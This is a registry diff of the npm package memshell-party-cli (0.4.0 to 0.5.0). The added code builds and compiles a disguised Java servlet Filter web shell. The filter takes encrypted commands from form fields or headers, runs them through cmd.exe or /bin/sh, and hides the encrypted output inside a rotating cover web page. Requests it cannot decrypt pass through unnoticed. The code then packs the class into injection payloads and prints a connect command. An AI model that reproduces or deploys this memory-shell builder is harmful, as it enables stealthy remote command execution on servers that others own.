memshell-party-cli 0.4.0 → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -2634,32 +2634,511 @@ async function startMcpStdio(client) {
2634
2634
  const transport = new StdioServerTransport();
2635
2635
  await server.connect(transport);
2636
2636
  }
2637
+
2638
+ // src/connect/mimic-codecs.ts
2639
+ import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
2640
+ var LEGACY_CIPHER = {
2641
+ algorithm: "aes-ecb",
2642
+ encoding: "base64",
2643
+ padTail: false,
2644
+ marker: "js-var"
2645
+ };
2646
+ function resolveCipher(partial) {
2647
+ return { ...LEGACY_CIPHER, ...partial ?? {} };
2648
+ }
2649
+ function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
2650
+ const id = md5Hex(pass + secretKey).slice(0, 5);
2651
+ if (cipher.marker === "html-comment") {
2652
+ const left2 = `<!--Re${id}_config:`;
2653
+ return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
2654
+ }
2655
+ const left = `var Re${id}_config="`;
2656
+ return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
2657
+ }
2658
+
2659
+ // src/custom/build.ts
2660
+ import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync5 } from "fs";
2661
+ import { join as join6 } from "path";
2662
+
2663
+ // src/core/site-profile.ts
2664
+ import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
2665
+ import { homedir as homedir4 } from "os";
2666
+ import { join as join5 } from "path";
2667
+ function profileTemplates(profile) {
2668
+ if (Array.isArray(profile.templates) && profile.templates.length > 0) {
2669
+ return profile.templates;
2670
+ }
2671
+ if (profile.template) {
2672
+ return [
2673
+ {
2674
+ title: profile.title ?? "",
2675
+ template: profile.template,
2676
+ contentType: profile.contentType ?? "text/html; charset=utf-8"
2677
+ }
2678
+ ];
2679
+ }
2680
+ return [];
2681
+ }
2682
+ function profileRequests(profile) {
2683
+ if (!profile.request) return [];
2684
+ return Array.isArray(profile.request) ? profile.request : [profile.request];
2685
+ }
2686
+
2687
+ // src/custom/java-template.ts
2688
+ function javaStringLiteral(s) {
2689
+ return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
2690
+ }
2691
+ var MD5_METHOD = String.raw`
2692
+ static String md5Hex(String s) throws Exception {
2693
+ MessageDigest m = MessageDigest.getInstance("MD5");
2694
+ byte[] d = m.digest(s.getBytes("UTF-8"));
2695
+ StringBuilder sb = new StringBuilder();
2696
+ for (byte b : d) sb.append(String.format("%02x", b & 0xff));
2697
+ return sb.toString();
2698
+ }
2699
+ `;
2700
+ function cryptMethod(algorithm) {
2701
+ switch (algorithm) {
2702
+ case "aes-ecb":
2703
+ return String.raw`
2704
+ static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
2705
+ Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
2706
+ c.init(enc ? Cipher.ENCRYPT_MODE : Cipher.DECRYPT_MODE,
2707
+ new SecretKeySpec(key.getBytes("UTF-8"), "AES"));
2708
+ return c.doFinal(data);
2709
+ }
2710
+ `;
2711
+ case "aes-cbc":
2712
+ return String.raw`
2713
+ static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
2714
+ Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
2715
+ SecretKeySpec ks = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
2716
+ if (enc) {
2717
+ byte[] iv = new byte[16];
2718
+ new java.security.SecureRandom().nextBytes(iv);
2719
+ c.init(Cipher.ENCRYPT_MODE, ks, new IvParameterSpec(iv));
2720
+ byte[] ct = c.doFinal(data);
2721
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2722
+ bos.write(iv);
2723
+ bos.write(ct);
2724
+ return bos.toByteArray();
2725
+ }
2726
+ c.init(Cipher.DECRYPT_MODE, ks, new IvParameterSpec(data, 0, 16));
2727
+ return c.doFinal(data, 16, data.length - 16);
2728
+ }
2729
+ `;
2730
+ case "xor":
2731
+ return String.raw`
2732
+ static byte[] crypt(byte[] data, String key, boolean enc) throws Exception {
2733
+ byte[] k = key.getBytes("UTF-8");
2734
+ byte[] out = new byte[data.length];
2735
+ for (int i = 0; i < data.length; i++) out[i] = (byte) (data[i] ^ k[i % k.length]);
2736
+ return out;
2737
+ }
2738
+ `;
2739
+ }
2740
+ }
2741
+ function encDecMethods(encoding) {
2742
+ switch (encoding) {
2743
+ case "base64":
2744
+ return String.raw`
2745
+ static String enc(byte[] data) {
2746
+ return java.util.Base64.getEncoder().encodeToString(data);
2747
+ }
2748
+ static byte[] dec(String s) {
2749
+ return java.util.Base64.getDecoder().decode(s);
2750
+ }
2751
+ `;
2752
+ case "base64url":
2753
+ return String.raw`
2754
+ static String enc(byte[] data) {
2755
+ return java.util.Base64.getUrlEncoder().withoutPadding().encodeToString(data);
2756
+ }
2757
+ static byte[] dec(String s) {
2758
+ return java.util.Base64.getUrlDecoder().decode(s);
2759
+ }
2760
+ `;
2761
+ case "hex":
2762
+ return String.raw`
2763
+ static String enc(byte[] data) {
2764
+ StringBuilder sb = new StringBuilder();
2765
+ for (byte b : data) sb.append(String.format("%02x", b & 0xff));
2766
+ return sb.toString();
2767
+ }
2768
+ static byte[] dec(String s) {
2769
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2770
+ for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
2771
+ return bos.toByteArray();
2772
+ }
2773
+ `;
2774
+ }
2775
+ }
2776
+ var PAD_METHODS = String.raw`
2777
+ static int padLen(String aesKey) throws Exception {
2778
+ return Integer.parseInt(md5Hex(aesKey).substring(0, 2), 16) % 16;
2779
+ }
2780
+ static String appendPad(String s, String aesKey) throws Exception {
2781
+ int n = padLen(aesKey);
2782
+ StringBuilder sb = new StringBuilder(s);
2783
+ java.util.Random r = new java.util.Random();
2784
+ for (int i = 0; i < n; i++) {
2785
+ sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(r.nextInt(62)));
2786
+ }
2787
+ return sb.toString();
2788
+ }
2789
+ static String stripPad(String s, String aesKey) throws Exception {
2790
+ int n = padLen(aesKey);
2791
+ return n == 0 ? s : s.substring(0, Math.max(0, s.length() - n));
2792
+ }
2793
+ `;
2794
+ function fieldTransforms(cipher) {
2795
+ const afterEncode = cipher.padTail ? "appendPad(s, aesKey)" : "s";
2796
+ const beforeDecode = cipher.padTail ? "stripPad(v, aesKey)" : "v";
2797
+ return `
2798
+ static String encryptField(byte[] plain, String aesKey) throws Exception {
2799
+ String s = enc(crypt(plain, aesKey, true));
2800
+ return ${afterEncode};
2801
+ }
2802
+ static byte[] decryptField(String v, String aesKey) throws Exception {
2803
+ String s = ${beforeDecode};
2804
+ return crypt(dec(s), aesKey, false);
2805
+ }
2806
+ `;
2807
+ }
2808
+ function wrapPayloadMethod(marker) {
2809
+ if (marker === "html-comment") {
2810
+ return String.raw`
2811
+ static String wrapPayload(String payload, String passKey) throws Exception {
2812
+ return "<!--Re" + md5Hex(passKey).substring(0, 5) + "_config:" + payload + "-->";
2813
+ }
2814
+ `;
2815
+ }
2816
+ return String.raw`
2817
+ static String wrapPayload(String payload, String passKey) throws Exception {
2818
+ return "<script>var Re" + md5Hex(passKey).substring(0, 5) + "_config=\"" + payload + "\";</script>";
2819
+ }
2820
+ `;
2821
+ }
2822
+ function sharedMethods(cipher) {
2823
+ return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
2824
+ }
2825
+ function renderFilterJava(opts) {
2826
+ const { className, pass, secret, fields, templates, cipher } = opts;
2827
+ const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
2828
+ const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
2829
+ return `package mimic;
2830
+
2831
+ import java.io.*;
2832
+ import java.security.MessageDigest;
2833
+ import javax.crypto.Cipher;
2834
+ import javax.crypto.spec.IvParameterSpec;
2835
+ import javax.crypto.spec.SecretKeySpec;
2836
+ import javax.servlet.*;
2837
+ import javax.servlet.http.*;
2838
+
2839
+ /**
2840
+ * mimic protocol server (matches src/connect/mimic-codecs.ts):
2841
+ * cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
2842
+ *
2843
+ * Detection uses getParameter()/getHeader() only, never reads the body
2844
+ * stream: form posts are parsed+cached by the container so downstream
2845
+ * getParameter() callers still work, and raw-body posts (Behinder) keep an
2846
+ * untouched body stream for the shell behind us. Anything that is not ours
2847
+ * falls through chain.doFilter; any error answers with the cover page.
2848
+ */
2849
+ public class ${className} implements Filter {
2850
+ /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
2851
+ static final String[] FIELDS = { ${fieldsJava} };
2852
+ /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
2853
+ static final String PASS = "${javaStringLiteral(pass)}";
2854
+ static final String SECRET = "${javaStringLiteral(secret)}";
2855
+ /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
2856
+ static final String[] TPLS = {
2857
+ ${tplsJava}
2858
+ };
2859
+
2860
+ public void init(FilterConfig filterConfig) {}
2861
+ public void destroy() {}
2862
+ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2863
+ public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
2864
+ throws IOException, ServletException {
2865
+ String value = null;
2866
+ for (String f : FIELDS) {
2867
+ value = request.getParameter(f);
2868
+ if (value == null && request instanceof HttpServletRequest) {
2869
+ // secretIn=header: the ciphertext may ride a header instead of a form field
2870
+ value = ((HttpServletRequest) request).getHeader(f);
2871
+ }
2872
+ if (value != null) break;
2873
+ }
2874
+ if (value == null) {
2875
+ chain.doFilter(request, response);
2876
+ return;
2877
+ }
2878
+ String aesKey;
2879
+ byte[] cmd;
2880
+ try {
2881
+ aesKey = md5Hex(SECRET).substring(0, 16);
2882
+ cmd = decryptField(value, aesKey);
2883
+ } catch (Exception notOurs) {
2884
+ // the field exists but doesn't decrypt \u2014 this is someone else's
2885
+ // legitimate form (e.g. the real login POST), stay invisible
2886
+ chain.doFilter(request, response);
2887
+ return;
2888
+ }
2889
+ String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
2890
+ try {
2891
+ String command = new String(cmd, "UTF-8");
2892
+ boolean win = System.getProperty("os.name").toLowerCase().contains("win");
2893
+ ProcessBuilder pb = win
2894
+ ? new ProcessBuilder("cmd.exe", "/c", command)
2895
+ : new ProcessBuilder("/bin/sh", "-c", command);
2896
+ pb.redirectErrorStream(true);
2897
+ Process proc = pb.start();
2898
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2899
+ InputStream in = proc.getInputStream();
2900
+ byte[] buf = new byte[8192];
2901
+ int n;
2902
+ while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
2903
+ proc.waitFor();
2904
+ String payload = encryptField(bos.toByteArray(), aesKey);
2905
+ String fragment = wrapPayload(payload, PASS + SECRET);
2906
+ int idx = tpl.toLowerCase().lastIndexOf("</body>");
2907
+ String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
2908
+ response.setContentType("text/html;charset=UTF-8");
2909
+ response.setCharacterEncoding("UTF-8");
2910
+ response.getWriter().write(page);
2911
+ } catch (Exception e) {
2912
+ // behave like the cover page on any error \u2014 stay quiet
2913
+ response.setContentType("text/html;charset=UTF-8");
2914
+ response.getWriter().write(tpl);
2915
+ }
2916
+ }
2917
+ }
2918
+ `;
2919
+ }
2920
+ function renderCryptoProbe(cipher) {
2921
+ return `import java.io.*;
2922
+ import java.security.MessageDigest;
2923
+ import javax.crypto.Cipher;
2924
+ import javax.crypto.spec.IvParameterSpec;
2925
+ import javax.crypto.spec.SecretKeySpec;
2926
+
2927
+ /** Cross-language test harness \u2014 shares every snippet with the mimic filter. */
2928
+ public class CryptoProbe {
2929
+ ${sharedMethods(cipher)}
2930
+ static String bytesToHex(byte[] data) {
2931
+ StringBuilder sb = new StringBuilder();
2932
+ for (byte b : data) sb.append(String.format("%02x", b & 0xff));
2933
+ return sb.toString();
2934
+ }
2935
+ static byte[] hexToBytes(String s) {
2936
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
2937
+ for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));
2938
+ return bos.toByteArray();
2939
+ }
2940
+
2941
+ public static void main(String[] args) throws Exception {
2942
+ String aesKey = md5Hex(args[1]).substring(0, 16);
2943
+ if ("enc".equals(args[0])) {
2944
+ // hex plaintext on argv -> wire value on stdout
2945
+ System.out.println(encryptField(hexToBytes(args[2]), aesKey));
2946
+ } else {
2947
+ // wire value on argv -> hex plaintext on stdout
2948
+ System.out.println(bytesToHex(decryptField(args[2], aesKey)));
2949
+ }
2950
+ }
2951
+ }
2952
+ `;
2953
+ }
2954
+
2955
+ // src/custom/javac.ts
2956
+ import { execFileSync } from "child_process";
2957
+ import { existsSync as existsSync5 } from "fs";
2958
+ import { fileURLToPath } from "url";
2959
+ function servletApiJar() {
2960
+ const candidates = [
2961
+ new URL("../resources/javax.servlet-api-3.1.0.jar", import.meta.url),
2962
+ // dist/*.js
2963
+ new URL("../../resources/javax.servlet-api-3.1.0.jar", import.meta.url)
2964
+ // src/custom/*.ts
2965
+ ];
2966
+ for (const candidate of candidates) {
2967
+ const p = fileURLToPath(candidate);
2968
+ if (existsSync5(p)) return p;
2969
+ }
2970
+ throw new Error(
2971
+ "bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)"
2972
+ );
2973
+ }
2974
+ function findJavac() {
2975
+ try {
2976
+ execFileSync("javac", ["-version"], { stdio: "pipe" });
2977
+ return "javac";
2978
+ } catch {
2979
+ throw new Error(
2980
+ "javac not found on PATH \u2014 'memparty custom build' compiles Java locally, install any JDK 11+ and retry"
2981
+ );
2982
+ }
2983
+ }
2984
+ function hasJavac() {
2985
+ try {
2986
+ findJavac();
2987
+ return true;
2988
+ } catch {
2989
+ return false;
2990
+ }
2991
+ }
2992
+ function compileJava(sources, outDir, opts = {}) {
2993
+ const javac = findJavac();
2994
+ const args = ["-encoding", "UTF-8", "--release", "8"];
2995
+ if (opts.classpath && opts.classpath.length > 0) {
2996
+ args.push("-cp", opts.classpath.join(process.platform === "win32" ? ";" : ":"));
2997
+ }
2998
+ args.push("-d", outDir, ...sources);
2999
+ execFileSync(javac, args, { stdio: "pipe" });
3000
+ }
3001
+
3002
+ // src/custom/build.ts
3003
+ function profileSecretFields(profile) {
3004
+ const shapes = profileRequests(profile);
3005
+ const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
3006
+ return fields.length > 0 ? fields : ["pass"];
3007
+ }
3008
+ function defaultClassName() {
3009
+ return `MimicFilter${randomString(4)}`;
3010
+ }
3011
+ async function buildCustomMemshell(input, client, deps = {}) {
3012
+ const compile = deps.compile ?? compileJava;
3013
+ const jarOf = deps.servletJar ?? servletApiJar;
3014
+ const className = input.className ?? defaultClassName();
3015
+ const shellType = input.shellType ?? "Filter";
3016
+ const urlPattern = input.urlPattern ?? "/*";
3017
+ const packer = input.packer ?? "DefaultBase64";
3018
+ const cipher = resolveCipher(input.profile.cipher);
3019
+ const templates = profileTemplates(input.profile).map((t) => t.template);
3020
+ if (templates.length === 0) {
3021
+ throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
3022
+ }
3023
+ const outDir = input.outDir;
3024
+ const packageDir = join6(outDir, "mimic");
3025
+ mkdirSync4(packageDir, { recursive: true });
3026
+ const javaSource = renderFilterJava({
3027
+ className,
3028
+ pass: input.pass,
3029
+ secret: input.secret,
3030
+ fields: profileSecretFields(input.profile),
3031
+ templates,
3032
+ cipher
3033
+ });
3034
+ const javaFile = join6(packageDir, `${className}.java`);
3035
+ writeFileSync5(javaFile, javaSource, "utf8");
3036
+ compile([javaFile], outDir, { classpath: [jarOf()] });
3037
+ const classFile = join6(packageDir, `${className}.class`);
3038
+ const shellClassBase64 = readFileSync6(classFile).toString("base64");
3039
+ const response = await client.generateMemShell({
3040
+ shellConfig: {
3041
+ server: input.server,
3042
+ shellTool: "Custom",
3043
+ shellType,
3044
+ targetJreVersion: resolveJreVersion(input.jdk ?? "java8")
3045
+ },
3046
+ shellToolConfig: {
3047
+ shellClassName: `mimic.${className}`,
3048
+ shellClassBase64
3049
+ },
3050
+ injectorConfig: { urlPattern },
3051
+ packer
3052
+ });
3053
+ const payloads = {};
3054
+ if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
3055
+ for (const [name, value] of Object.entries(response.allPackResults)) {
3056
+ const file = join6(outDir, `payload-${name}.txt`);
3057
+ writeFileSync5(file, `${value}
3058
+ `, "utf8");
3059
+ payloads[name] = file;
3060
+ }
3061
+ } else if (response.packResult !== void 0) {
3062
+ const file = join6(outDir, "payload.txt");
3063
+ writeFileSync5(file, `${response.packResult}
3064
+ `, "utf8");
3065
+ payloads[packer] = file;
3066
+ }
3067
+ const result = {
3068
+ className,
3069
+ fullClassName: `mimic.${className}`,
3070
+ injectorClassName: response.memShellResult.injectorClassName,
3071
+ packer,
3072
+ server: input.server,
3073
+ shellType,
3074
+ urlPattern,
3075
+ pass: input.pass,
3076
+ secret: input.secret,
3077
+ cipher,
3078
+ response,
3079
+ files: {
3080
+ java: javaFile,
3081
+ classFile,
3082
+ manifest: join6(outDir, "manifest.json"),
3083
+ payloads
3084
+ }
3085
+ };
3086
+ const manifest = {
3087
+ tool: "mimic",
3088
+ createdAt: (/* @__PURE__ */ new Date()).toISOString(),
3089
+ profile: input.profile.name,
3090
+ server: result.server,
3091
+ shellType: result.shellType,
3092
+ urlPattern: result.urlPattern,
3093
+ packer: result.packer,
3094
+ className: result.fullClassName,
3095
+ injectorClassName: result.injectorClassName,
3096
+ pass: result.pass,
3097
+ key: result.secret,
3098
+ cipher: result.cipher,
3099
+ note: "pass/key/cipher are baked into the filter class. Editing the profile's cipher section afterwards desynchronizes client and server \u2014 rebuild and re-inject.",
3100
+ connect: `memparty connect -u <shell-url> -t mimic --profile ${input.profile.name} --pass ${result.pass} --key ${result.secret}`,
3101
+ files: result.files
3102
+ };
3103
+ writeFileSync5(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
3104
+ `, "utf8");
3105
+ return result;
3106
+ }
2637
3107
  export {
2638
3108
  ApiError,
2639
3109
  CLI_VERSION,
2640
3110
  DEFAULT_API_URL,
2641
3111
  ENV_VAR,
2642
3112
  JDK_VERSIONS,
3113
+ LEGACY_CIPHER,
2643
3114
  MemPartyClient,
2644
3115
  OUTPUT_LIMIT,
2645
3116
  autoSaveShell,
3117
+ buildCustomMemshell,
2646
3118
  buildMemShellRequest,
2647
3119
  buildProbeRequest,
2648
3120
  createMcpServer,
3121
+ defaultClassName,
3122
+ deriveMarkers,
2649
3123
  emitPayload,
2650
3124
  execBehinder,
2651
3125
  execGodzilla,
2652
3126
  formatOp,
2653
3127
  getProject,
3128
+ hasJavac,
2654
3129
  listProjects,
2655
3130
  logOp,
2656
3131
  marshalFrameBase64,
2657
3132
  marshalSuo5Map,
2658
3133
  opLogPath,
3134
+ profileSecretFields,
2659
3135
  readOps,
2660
3136
  removeProject,
2661
3137
  removeShell,
3138
+ renderCryptoProbe,
3139
+ renderFilterJava,
2662
3140
  resolveApiUrl,
3141
+ resolveCipher,
2663
3142
  resolveConnection,
2664
3143
  resolveJreVersion,
2665
3144
  saveProjectMeta,